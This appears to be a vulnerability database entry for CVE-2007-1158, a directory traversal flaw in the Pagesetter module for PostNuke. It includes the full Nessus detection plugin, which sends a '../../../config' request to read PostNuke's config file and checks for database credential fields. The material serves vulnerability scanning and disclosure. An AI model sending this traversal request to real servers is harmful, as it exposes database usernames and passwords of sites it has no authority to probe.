Vulnerabilities > CVE-2007-1158 - Local File Include vulnerability in Pagesetter 6.2/6.3.0

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
postnuke-software-foundation
nessus
exploit available

Summary

Directory traversal vulnerability in index.php in the Pagesetter 6.2.0 through 6.3.0 beta 5 module for PostNuke allows remote attackers to read arbitrary files via a .. (dot dot) in the id parameter.

Exploit-Db

descriptionPagesetter 6.2/6.3.0 index.PHP Local File Include Vulnerability. CVE-2007-1158 . Webapps exploit for php platform
idEDB-ID:29681
last seen2016-02-03
modified2007-02-26
published2007-02-26
reporterD. Matscheko
sourcehttps://www.exploit-db.com/download/29681/
titlePagesetter 6.2/6.3.0 index.PHP Local File Include Vulnerability

Nessus

NASL familyCGI abuses
NASL idPOSTNUKE_PAGESETTER_ID_FILE_INCLUDE.NASL
descriptionThe third-party Pagesetter module for PostNuke installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id24713
published2007-02-27
reporterThis script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/24713
titlePagesetter for PostNuke index.php id Parameter Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(24713);
  script_version("1.18");

  script_cve_id("CVE-2007-1158");
  script_bugtraq_id(22733);

  script_name(english:"Pagesetter for PostNuke index.php id Parameter Traversal Arbitrary File Access");
  script_summary(english:"Tries to read a local file with Pagesetter");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by an
information disclosure vulnerability." );
 script_set_attribute(attribute:"description", value:
"The third-party Pagesetter module for PostNuke installed on the remote
host fails to sanitize input to the 'id' parameter before using it to
display a file in the function 'pagesetter_file_preview()' of the
script 'pnfile.php'.  An unauthenticated attacker can exploit this
issue to view arbitrary files on the remote host, subject to the
privileges of the web server user id." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/461339/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"http://www.elfisk.dk/index.php?module=pagesetter&func=viewpub&tid=7&pid=125" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Pagesetter version 6.3.0 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2007/02/27");
 script_set_attribute(attribute:"vuln_publication_date", value: "2007/02/27");
 script_cvs_date("Date: 2018/11/15 20:50:18");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:postnuke_software_foundation:pagesetter");
 script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("postnuke_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/postnuke");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/postnuke"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # Try to retrieve a local file.
  r = http_send_recv3(method:"GET", port:port,
    item:string(
      dir, "/index.php?",
      "module=Pagesetter&",
      "type=file&",
      "func=preview&",
      # nb: together, these two parameters should give us PostNuke's config.php
      #     if the install is vulnerable.
      "id=../../../config&",
      "field=php"
    ));
  if (isnull(r)) exit(0);
  res = strcat(r[0], r[1], '\r\n', r[2]);

  # There's a problem if...
  if (
    # if looks like a preview and...
    'inline; filename="preview"' >< res &&
    # it looks like PostNuke's config file.
    "$pnconfig[" >< res &&
    egrep(pattern:"\$pnconfig\[.*db(type|uname|pass|name)", string:res)
  )
  {
    res = strstr(res, "<?");
    report = string(
      "Here are the contents of PostNuke's config file that Nessus was\n",
      "able to read from the remote host :\n",
      "\n",
      data_protection::sanitize_user_full_redaction(output:res)
    );

    security_warning(port:port, extra:report);
    exit(0);
  }
}